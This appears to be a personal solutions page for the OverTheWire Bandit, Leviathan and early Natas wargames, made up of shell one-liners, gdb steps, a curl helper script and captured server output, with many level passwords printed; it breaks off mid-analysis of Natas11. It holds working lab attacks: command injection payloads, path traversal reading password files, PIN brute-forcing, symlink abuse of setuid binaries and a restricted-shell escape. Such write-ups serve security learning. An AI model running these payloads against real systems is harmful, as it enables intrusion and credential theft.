OverTheWire#

[ h ] OverTheWire


SPOILERS! This page contains solutions. Proceed with caution.


Table of Contents#


SPOILERS! This page contains solutions. Proceed with caution.


Bandit#

[ h ] OverTheWire

# without config file
ssh bandit0@bandit.labs.overthewire.org -p 2220
# ~/.ssh/config
Host otw
  Hostname bandit.labs.overthewire.org
  Port     2220
echo 'bandit0'                                                                                                     > passwd00
pbcopy <passwd00 && ssh bandit0@otw 'cat readme'                                                                   > passwd01
pbcopy <passwd01 && ssh bandit1@otw 'cat ./-'                                                                      > passwd02
pbcopy <passwd02 && ssh bandit2@otw 'cat spaces\ in\ this\ filename'                                               > passwd03
pbcopy <passwd03 && ssh bandit3@otw 'cat inhere/.hidden'                                                           > passwd04

#----------[ 04 ]
pbcopy <passwd04 && ssh bandit4@otw 'for fn in inhere/* ; do file "$fn" ; done'                                    > passwd05_supp
pbcopy <passwd04 && ssh bandit4@otw 'cat inhere/-file07'                                                           > passwd05

#----------[ 05 ]
pbcopy <passwd05 && ssh bandit5@otw 'find inhere -type f -size 1033c ! -executable -exec file '{}' \;'             > passwd06_supp
pbcopy <passwd05 && ssh bandit5@otw "cat inhere/maybehere07/.file2 | tr -d ' '"                                    > passwd06

#----------[ 06 ]
pbcopy <passwd06 && ssh bandit6@otw 'find / -size 33c -user bandit7 -group bandit6'                                > passwd07_supp 2>/dev/null
pbcopy <passwd06 && ssh bandit6@otw 'cat /var/lib/dpkg/info/bandit7.password'                                      > passwd07

#----------[ 07 ]
pbcopy <passwd07 && ssh bandit7@otw "find / -type f -name data.txt -exec grep millionth '{}' \; | cut -d$'\t' -f2" > passwd08 2>/dev/null

#----------[ 08 ]
pbcopy <passwd08 && ssh bandit8@otw 'sort <data.txt | uniq -u'                                                     > passwd09

#----------[ 09 ]
# command `strings`
pbcopy <passwd09 && ssh bandit9@otw "egrep -ao '=+.*\b[[:print:]]{2,}\b' data.txt"                                 > passwd10_supp
echo 'G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s'                                                                            > passwd10

#----------[ 10 ]
pbcopy <passwd10 && ssh bandit10@otw "base64 -d data.txt | cut -d' ' -f4"                                          > passwd11

#----------[ 11 ]
# https://en.wikipedia.org/wiki/ROT13
pbcopy <passwd11 && ssh bandit11@otw "<data.txt tr 'N-ZA-Mn-za-m' 'A-Za-z' | cut -d' ' -f4"                        > passwd12

#----------[ 12 ]
# https://en.wikipedia.org/wiki/Hex_dump
pbcopy <passwd12 && ssh bandit12@otw 'cat data.txt' > passwd13_supp0
file passwd13_supp0 # ASCII text
xxd -r passwd13_supp0                               > passwd13_supp1
file passwd13_supp1 # gzip compressed data, was "data2.bin", last modified: Thu Oct  5 06:19:20 2023, max compression, from Unix, original size modulo 2^32 573
cp passwd13_supp1 passwd13_supp2.gz && gzip -d passwd13_supp2.gz
file passwd13_supp2 # bzip2 compressed data, block size = 900k
cp passwd13_supp2 passwd13_supp3.bz && bzip2 -d passwd13_supp3.bz
file passwd13_supp3 # gzip compressed data, was "data4.bin", last modified: Thu Oct  5 06:19:20 2023, max compression, from Unix, original size modulo 2^32 20480
cp passwd13_supp3 passwd13_supp4.gz && gzip -d passwd13_supp4.gz
file passwd13_supp4 # POSIX tar archive (GNU)
cp passwd13_supp4 passwd13_supp5.tar && tar -xf passwd13_supp5.tar && mv data5.bin passwd13_supp5
file passwd13_supp5 # POSIX tar archive (GNU)
cp passwd13_supp5 passwd13_supp6.tar && tar -xf passwd13_supp6.tar && mv data6.bin passwd13_supp6
file passwd13_supp6 # bzip2 compressed data, block size = 900k
cp passwd13_supp6 passwd13_supp7.bz && bzip2 -d passwd13_supp7.bz
file passwd13_supp7 # POSIX tar archive (GNU)
cp passwd13_supp7 passwd13_supp8.tar && tar -xf passwd13_supp8.tar && mv data8.bin passwd13_supp8
file passwd13_supp8 # gzip compressed data, was "data9.bin", last modified: Thu Oct  5 06:19:20 2023, max compression, from Unix, original size modulo 2^32 49
cp passwd13_supp8 passwd13_supp9.gz && gzip -d passwd13_supp9.gz
file passwd13_supp9 # ASCII text
cut -d' ' -f4 <passwd13_supp9 >passwd13

#----------[ 13 ]
pbcopy <passwd13 && ssh bandit13@otw "ssh bandit14@localhost -p 2220 -i sshkey.private -o StrictHostKeyChecking=no 'cat /etc/bandit_pass/bandit14'" > passwd14

#----------[ 14 ]
pbcopy <passwd14 && ssh bandit14@otw "echo $(cat passwd14) | nc localhost 30000 | sed -n '2p'"                   > passwd15

#----------[ 15 ]
pbcopy <passwd15 && ssh bandit15@otw "echo $(cat passwd15) | openssl s_client -connect localhost:30001 -ign_eof" > passwd16_supp 2>/dev/null
sed -n '/Correct!/{n;p;}' passwd16_supp                                                                          > passwd16

#----------[ 16 ]
pbcopy <passwd16 && ssh bandit16@otw 'nc -vz localhost 31000-32000 2>&1 | grep succeed'
pbcopy <passwd16 && ssh bandit16@otw 'nmap -sV localhost -p 31000-32000 2>&1 | grep ssl'                         > passwd17_supp_nmap
# either or ^ (second command displays ssl info)
pbcopy <passwd16 && ssh bandit16@otw "echo $(cat passwd16) | openssl s_client -connect localhost:31790 -ign_eof 2>/dev/null | sed -n '/BEGIN RSA/,/END RSA/p'" > passwd17_supp

pbcopy <passwd16 && ssh bandit16@otw "mkdir -p /tmp/heracliteanflux_bandit16 && echo $(cat passwd16) | openssl s_client -connect localhost:31790 -ign_eof 2>/dev/null | sed -n '/BEGIN RSA/,/END RSA/p' > /tmp/heracliteanflux_bandit16/sshkey.private ; chmod 400 /tmp/heracliteanflux_bandit16/sshkey.private ; ssh bandit17@localhost -p 2220 -i /tmp/heracliteanflux_bandit16/sshkey.private -o StrictHostKeyChecking=no 'cat /etc/bandit_pass/bandit17' 2>/dev/null" > passwd17

#----------[ 17 ]
pbcopy <passwd17 && ssh bandit17@otw "sdiff -s pass* | tr -d $' \t' | cut -d'|' -f2" > passwd18

#----------[ 18 ]
pbcopy <passwd18 && ssh bandit18@otw 'cat readme' > passwd19

#----------[ 19 ]
pbcopy <passwd19 && ssh bandit19@otw './bandit20-do cat /etc/bandit_pass/bandit20' > passwd20

#----------[ 20 ]
# the background process is wrapped in parentheses to suppress the job control output
# command `sleep 1` gives the server a chance to start before a connection is made
# command `./suconnect 1234` STDOUT is discarded, password is "transmitted back"
pbcopy <passwd20 && ssh bandit20@otw "(echo $(cat passwd20) | nc -lp1234 &) ; sleep 1 ; ./suconnect 1234 >/dev/null" > passwd21

#----------[ 21 ]
pbcopy <passwd21 && ssh bandit21@otw 'cat /etc/cron.d/cronjob_bandit22'                                > passwd22_supp0
pbcopy <passwd21 && ssh bandit21@otw 'cat /usr/bin/cronjob_bandit22.sh'                                > passwd22_supp1
pbcopy <passwd21 && ssh bandit21@otw 'cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv'                       > passwd22

#----------[ 22 ]
pbcopy <passwd22 && ssh bandit22@otw 'cat /etc/cron.d/cronjob_bandit23'                                > passwd23_supp0
pbcopy <passwd22 && ssh bandit22@otw 'cat /usr/bin/cronjob_bandit23.sh'                                > passwd23_supp1
pbcopy <passwd22 && ssh bandit22@otw "cat /tmp/\$(echo 'I am user bandit23' | md5sum | cut -d' ' -f1)" > passwd23

#----------[ 23 ]
pbcopy <passwd23 && ssh bandit23@otw 'cat /etc/cron.d/cronjob_bandit24' > passwd24_supp0
pbcopy <passwd23 && ssh bandit23@otw 'cat /usr/bin/cronjob_bandit24.sh' > passwd24_supp1
pbcopy <passwd23 && ssh bandit23@otw "temp_dir=\$(mktemp -d) && cd \$temp_dir && echo -e \"#\!/usr/bin/env bash\ncat /etc/bandit_pass/bandit24 > \$temp_dir/password\" > bandit24.sh && chmod o+wx \$temp_dir && chmod o+x bandit24.sh && cp bandit24.sh /var/spool/bandit24/foo/bandit24.sh && while true ; do if [[ -f password ]] ; then cat password && break ; fi ; done" > passwd24

#----------[ 24 ]
# `$(cat passwd24)` or `\$(cat /etc/bandit_pass/bandit24)`
pbcopy <passwd24 && ssh bandit24@otw "pass=$(cat passwd24) && printf \"\$pass %s\n\" {9999..0000} | nc localhost 30002 -w1 | grep -i password" > passwd25_supp
cat passwd25_supp | tail -1 | rev | cut -d' ' -f1 | rev                                                                                        > passwd25


#----------[ 25 ]
pbcopy <passwd25 && ssh bandit25@otw 'cat /etc/passwd | grep bandit26'
pbcopy <passwd25 && ssh bandit25@otw 'cat /usr/bin/showtext'
pbcopy <passwd25 && ssh bandit25@otw "ssh bandit26@localhost -p 2220 -i bandit26.sshkey -o StrictHostKeyChecking=no"
# make the terminal screen small to force command `more` into interactive mode
# then press `v` to open up the vim text editor
#
# `:e /etc/bandit_pass/bandit26`
# or
# `:set shell=/bin/bash`
# `:shell`
# `cat /etc/bandit_pass/bandit26`

# passwd26
#
# c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1


#----------[ 26 ]
# LOCAL MACHINE
pbcopy <passwd26 && ssh bandit26@otw

# REMOTE MACHINE
./bandit27-do
./bandit27-do cat /etc/bandit_pass/bandit27

# passwd27
#
# YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS


#----------[ 27 ]
# LOCAL MACHINE
pbcopy <passwd27 && ssh bandit27@otw
#
# this doesn't work (...yet)
#pbcopy <passwd27 && ssh bandit27@otw "temp_dir=\$(mktemp -d) && cd \"\$temp_dir\" && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=accept-new\" git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo && echo -e YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS'\n' && cat repo/README"

# REMOTE MACHINE
temp_dir=$(mktemp -d) && cd "$temp_dir" && GIT_SSH_COMMAND='ssh -o StrictHostKeyChecking=accept-new' git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
cat repo/README

# passwd28
#
# AVanL161y9rsbcJIsFHuw35rjaOM19nR


#----------[ 28 ]
# LOCAL MACHINE
pbcopy <passwd28 && ssh bandit28@otw

# REMOTE MACHINE
temp_dir=$(mktemp -d) && cd "$temp_dir" && GIT_SSH_COMMAND='ssh -o StrictHostKeyChecking=accept-new' git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
cd repo
cat README               # password is hidden
git log                  # there are 3 commits; the last commit "fix[ed] info leak"
git switch f08b --detach # switch to the last commit
cat README               # password is visible

# passwd29
#
# tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S


#----------[ 29 ]
# LOCAL MACHINE
pbcopy <passwd29 && ssh bandit29@otw

# REMOTE MACHINE
temp_dir=$(mktemp -d) && cd "$temp_dir" && GIT_SSH_COMMAND='ssh -o StrictHostKeyChecking=accept-new' git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
cd repo
cat README     # there is no password "in production"
git log        # there are 2 (unhelpful) commits
git branch -a  # there are 3 branches: master, dev, and sploits-dev
git switch dev
cat README     # password is visible

# passwd30
#
# xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS


#----------[ 30 ]
# LOCAL MACHINE
pbcopy <passwd30 && ssh bandit30@otw

# REMOTE MACHINE
temp_dir=$(mktemp -d) && cd "$temp_dir" && GIT_SSH_COMMAND='ssh -o StrictHostKeyChecking=accept-new' git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo
cd repo

# various views, not to be run in any particular order
git show-ref --tag         # 831a... refs/tags/secret
git for-each-ref refs/tags # 831a... blob   refs/tags/secret
git cat-file -t secret     # blob

# there is a tag called `secret`
git tag -l
git show secret

# passwd31
#
# OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt


#----------[ 31 ]
# LOCAL MACHINE
pbcopy <passwd31 && ssh bandit31@otw

# REMOTE MACHINE
temp_dir=$(mktemp -d) && cd "$temp_dir" && GIT_SSH_COMMAND='ssh -o StrictHostKeyChecking=accept-new' git clone ssh://bandit31-git@localhost:2220/home/bandit31-git/repo
cd repo

# the following command are useless
#git log
#git branch -a
#git reflog
#git show-ref

cat README                      # explains that you must push a file called `key.txt` with the content `May I come in?` to the remote repo
echo 'May I come in?' > key.txt
git add -f key.txt              # circumvent file `.gitignore`, which ignores all text files `*.txt`
git commit -m 'success'
GIT_SSH_COMMAND='ssh -o StrictHostKeyChecking=accept-new' git push

# passwd32
#
# rmCBvG56y58BXzv98yZGdO7ATVL5dW8y


#----------[ 32 ]
# LOCAL MACHINE
pbcopy <passwd32 && ssh bandit32@otw

# REMOTE MACHINE
$0 # return to a normal shell

file uppershell # uppershell: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5074197d6726b13fc82a0fb61036010a9cd40c52, for GNU/Linux 3.2.0, not stripped

cat /etc/bandit_pass/bandit33
# passwd32
#
# odHo63fHiFqcWWJG9rLiLDtPm45KzUKy


#----------[ 33 ]
pbcopy <passwd33 && ssh bandit33@otw 'cat README.txt'

# Congratulations on solving the last level of this game!
#
# At this moment, there are no more levels to play in this game. However, we are constantly working
# on new levels and will most likely expand this game with more levels soon.
# Keep an eye out for an announcement on our usual communication channels!
# In the meantime, you could play some of our other wargames.
#
# If you have an idea for an awesome new level, please let us know!

SPOILERS! This page contains solutions. Proceed with caution.


Leviathan#

[ h ] OverTheWire

# without config file
ssh leviathan0@leviathan.labs.overthewire.org -p 2223
# ~/.ssh/config
Host otw3
  Hostname leviathan.labs.overthewire.org
  Port     2223
#----------[ 01 ]
# LOCAL
echo leviathan0 > passwd00
pbcopy <passwd00 && ssh leviathan0@otw3 'cat .backup/bookmarks.html | grep password' > passwd01
#----------[ 02 ]
# LOCAL
pbcopy <passwd01 && ssh leviathan1@otw3 

# REMOTE
ltrace ./check # enter an arbitrary password to view the password `sex`
./check        # enter password `sex`
whoami         # leviathan2
cat /etc/leviathan_pass/leviathan2

# passwd02
#
# mEh5PNl10e
#----------[ 03 ]
# LOCAL
pbcopy <passwd02 && ssh leviathan2@otw3 

# REMOTE
ltrace ./printfile .bash_logout
temp_dir=$(mkdtemp -d)
touch "$temp_dir/test file.txt"
ln -s /etc/leviathan_pass/leviathan3 "$temp_dir/test"
chmod 777 "$temp_dir"
./printfile "$temp_dir/test file.txt"

# passwd03
#
# Q0G8j4sakn
#----------[ 04 ]
# LOCAL
pbcopy <passwd03 && ssh leviathan3@otw3

# REMOTE
whoami             # `leviathan3`
ltrace ./level3    # the password is `snlprintf`
./level3 snlprintf # `[You've got shell]!`
whoami             # `leviathan4`
cat /etc/leviathan_pass/leviathan4

# passwd04
#
# AgvropI4OA
#----------[ 05 ]
# LOCAL
pbcopy <passwd04 && ssh leviathan4@otw3 "for bin in \$(.trash/bin) ; do printf \\\\x\$(printf \"%x\" \$((2#\$bin))) ; done" > passwd05

# any of these will work
#
# for bin in $(.trash/bin) ; do printf \\x$(printf "%x" $((2#$bin))) ; done
# for bin in $(.trash/bin) ; do printf \\$(printf "%o" $((2#$bin))) ; done
# for bin in $(.trash/bin) ; do printf "%x" $((2#$bin)) ; done | xxd -r -p
#----------[ 06 ]
# LOCAL
pbcopy <passwd05 && ssh leviathan5@otw3 "ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log && ./leviathan5" > passwd06
#----------[ 07 ]
# LOCAL
pbcopy <passwd06 && ssh leviathan6@otw3

# REMOTE

# brute-force approach
for ((i=0; i<10000; i++)) ; do ./leviathan6 "$i" ; done

# reverse-engineering approach
gdb --args leviathan6 0000
(gdb) disassemble main   # view the assembly code of function `main`
(gdb) break *0x0804922a  # set a breakpoint at the line `0x0804922a <+84>:    cmp    %eax,-0xc(%ebp)`
(gdb) run                # start the program
(gdb) info registers
(gdb) print $ebp-0xc     # `$1 = (void *) 0xffffd4dc` - calculate the value of the address
(gdb) x 0xffffd4dc       # `0xffffd4dc:     0x00001bd3` - print the value saved at the hex address
(gdb) print/d 0x00001bd3 # `$2 = 7123`

# passwd07
#
# 8GpZ5f8Hze
#----------[ 08 ]
# LOCAL
pbcopy <passwd07 && ssh leviathan7@otw3 'cat CONGRATULATIONS'
# Well Done, you seem to have used a *nix system before, now try something more serious.

SPOILERS! This page contains solutions. Proceed with caution.


Natas#

[ h ] OverTheWire

Natas Script#

#!/usr/bin/env bash
#
# natas

while getopts 'b:c:d:e:F:ILp:r:s' opt ; do
  case "$opt" in
    ( b ) CURL_b="-b $OPTARG" ;;
    ( d ) DATA="-d $OPTARG" ;;
    ( e ) CURL_e="-e $OPTARG" ;;
    ( F ) CURL_F+=("-F $OPTARG") ;;
    ( I ) CURL_I="-I" ;;
    ( L ) CURL_L="-L" ;;
    ( p ) PARAMS="?$OPTARG" ;;
    ( r ) REL="/$OPTARG" ;;
    ( s ) SED= ;;
    ( * ) exit 2 ;;
  esac
done
shift $((OPTIND-1))

LVL="$1"
res="$(curl "$CURL_b" "$CURL_e" "${CURL_F[@]}" "$CURL_I" "$CURL_L" \
-su "natas$((10#$LVL)):$(cat "passwd$LVL")" "http://natas$((10#$LVL)).natas.labs.overthewire.org$REL$PARAMS" "$DATA")"

# echo curl "$CURL_b" "$CURL_e" ${CURL_F[@]} "$CURL_I" "$CURL_L" \
# -su "natas$((10#$LVL)):$(cat "passwd$LVL")" "http://natas$((10#$LVL)).natas.labs.overthewire.org$REL$PARAMS" "$DATA"

if [ -v SED ] ; then
  echo "$res" \
  | sed -E 's/&nbsp;/ /g; s/&lt;/</g; s/&gt;/>/g; s/<br \/>/\n/g; s/<\/?span[^>]*>//g' \
  | sed -n '1,/\/head/d;/\/bo/q;p' #sed -n '/bo/,/\/bo/p'
else
  echo "$res"
fi

Natas0 - viewing page source#

bash natas.sh -s 00
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
</div>

Natas1 - viewing page source#

bash natas.sh -s 01
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->
</div>

Natas2 - sub directories#

bash natas.sh -s 02
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
bash natas.sh -Lsr files 02
 <body>
<h1>Index of /files</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right">  - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="pixel.png">pixel.png</a></td><td align="right">2023-10-05 06:15  </td><td align="right">303 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="users.txt">users.txt</a></td><td align="right">2023-10-05 06:15  </td><td align="right">145 </td><td> </td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.52 (Ubuntu) Server at natas2.natas.labs.overthewire.org Port 80</address>
bash natas.sh -Lr files/users.txt 02
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
eve:zo4mJWyNj2
mallory:9urtcpzBmH

Natas3 - robots.txt#

bash natas.sh -s 03
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
bash natas.sh -r robots.txt 03
User-agent: *
Disallow: /s3cr3t/
bash natas.sh -Lsr s3cr3t 03
 <body>
<h1>Index of /s3cr3t</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right">  - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="users.txt">users.txt</a></td><td align="right">2023-10-05 06:15  </td><td align="right"> 40 </td><td> </td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.52 (Ubuntu) Server at natas3.natas.labs.overthewire.org Port 80</address>
</body></html>
bash natas.sh -Lr s3cr3t/users.txt 03
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

Natas4 - referrer#

bash natas.sh -s 04
<body>
<h1>natas4</h1>
<div id="content">

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
bash natas.sh -se http://natas5.natas.labs.overthewire.org/ 04
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>

Natas6 - form#

bash natas.sh -s 06
<body>
<h1>natas6</h1>
<div id="content">


<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Page Source#

bash natas.sh -sr index-source.html 06
<body>
<h1>natas6</h1>
<div id="content">

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
bash natas.sh -r includes/secret.inc 06
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Success#

bash natas.sh -sd secret=FOEIUWGHFEEUHOFUOIU\&submit 06
<body>
<h1>natas6</h1>
<div id="content">

Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Natas7 - path traversal#

bash natas.sh -s 07
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
bash natas.sh -sp page=/etc/natas_webpass/natas8 07
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>

Natas8 - encoded data#

bash natas.sh -s 08
<body>
<h1>natas8</h1>
<div id="content">


<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Page Source#

bash natas.sh -sr index-source.html 08
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Decoding#

python -c 'import base64; print(base64.decodebytes(bytes.fromhex("3d3d516343746d4d6d6c315669563362")[::-1]))'
b'oubWYf2kBq'

Success#

bash natas.sh -sd secret=oubWYf2kBq\&submit 08
<body>
<h1>natas8</h1>
<div id="content">

Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Natas9 - command injection#

bash natas.sh -s 09
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Page Source#

bash natas.sh -sr index-source.html 09
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Success#

bash natas.sh -sd needle=\;\ cat\ /etc/natas_webpass/natas10\ \#\&submit=Search 09
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Natas10 - command injection w/o special characters#

bash natas.sh -s 10
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Page Source#

bash natas.sh -sr index-source.html 10
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&amp;]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Success#

bash natas.sh \
-sd needle=\.\*\ /etc/natas_webpass/natas11\&submit 10 \
| grep natas11
/etc/natas_webpass/natas11:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

Natas11 - xor cipher#

bash natas.sh -s 11
<body style="background: #ffffff;">
Cookies are protected with XOR encryption<br/><br/>


<form>
Background color: <input name=bgcolor value="#ffffff">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

Page Source#

bash natas.sh -sr index-source.html 11
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) &amp;&amp; array_key_exists("showpassword", $tempdata) &amp;&amp; array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

PHP#

<?
//-----[ 0 ] plaintext
$defaultdata = array('showpassword'=>'no','bgcolor'=>'#ffffff');

//-----[ 3,6 ] ciphertext = plaintext xor key
function xor_encrypt ($in) {
  // where is the key?
  $key     = '<censored>';
  // plaintext
  $text    = $in;
  $outText = '';
  // .= string concatenation
  //  ^ bitwise xor
  //
  // if len(key) < len(plaintext) then the key will repeat:
  // for example,
  // if len(key) = 4 and len(plaintext = 10) then
  // 0 % 4, 1 % 4, 2 % 4, 3 % 4,
  // 4 % 4, 5 % 4, 6 % 4, 7 % 4, ...
  for ($i=0; $i<strlen($text); $i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    //                      ^^^^^^^^^^^^^^^^^^^^^^^
  }
  return $outText;
}

//-----[ 2 ]
function loadData ($def) {
  global $_COOKIE;
  $mydata = $def;

  if (array_key_exists('data', $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);

    if (
                    is_array($tempdata)                               // $tempdata is an array
         &amp;&amp; array_key_exists('showpassword', $tempdata)       // with key `showpassword` and
         &amp;&amp; array_key_exists('bgcolor',      $tempdata)       // with key `bgcolor`
       )
    {
